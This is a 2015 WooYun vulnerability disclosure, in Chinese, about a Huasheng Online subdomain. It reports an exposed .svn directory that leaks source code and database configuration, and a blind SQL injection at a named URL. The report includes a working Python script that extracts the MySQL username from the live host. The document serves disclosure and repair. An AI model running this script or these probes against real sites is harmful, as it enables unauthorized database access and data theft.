当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0119184

漏洞标题：华声在线某站SQL注入+svn信息泄露

相关厂商：华声在线

漏洞作者： wps2015

提交时间：2015-06-09 14:39

修复时间：2015-06-14 14:40

公开时间：2015-06-14 14:40

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-09： 细节已通知厂商并且等待厂商处理中
2015-06-14： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

问题还是打包好

详细说明：

1.svn信息泄露，导致站点源代码可下载
问题出在：http://72wan.voc.com.cn/.svn/entries

1.png


数据库配置文件泄露：

2.png


2.SQL注入，但为盲注
问题出在：http://72wan.voc.com.cn/?s=/Help/show/catid/44*
由于不能使用工具，自己写了个猜解脚本

3.png


附脚本：

import httplib
import time
import string
import sys
import random
import urllib
headers = {'User-Agent': 'Mozilla/5.0 Chrome/28.0.1500.63',}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,21):
    for payload in payloads:
        conn = httplib.HTTPConnection('72wan.voc.com.cn', timeout=4)
        s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
        conn.request(method='GET',
                     url="/?s=/Help/show/catid/44 and %s" % s,
                     headers = headers)
        html_header= conn.getresponse().read()
        length=len(html_header)
        if length>10000:
            user+=payload
            sys.stdout.write('\r[In progress] %s' % user)
            sys.stdout.flush()
            break
        else:
            print '.',
            conn.close()
            
print '\n[Done]MySQL user is', user


漏洞证明：

3.png

修复方案：

过滤，并限制svn目录外网连接

版权声明：转载请注明来源 wps2015@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-06-14 14:40

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

2015-06-18：感谢，该域名项目已经停止但合作方服务器未下线，现已取消域名解析。

漏洞评价：

评论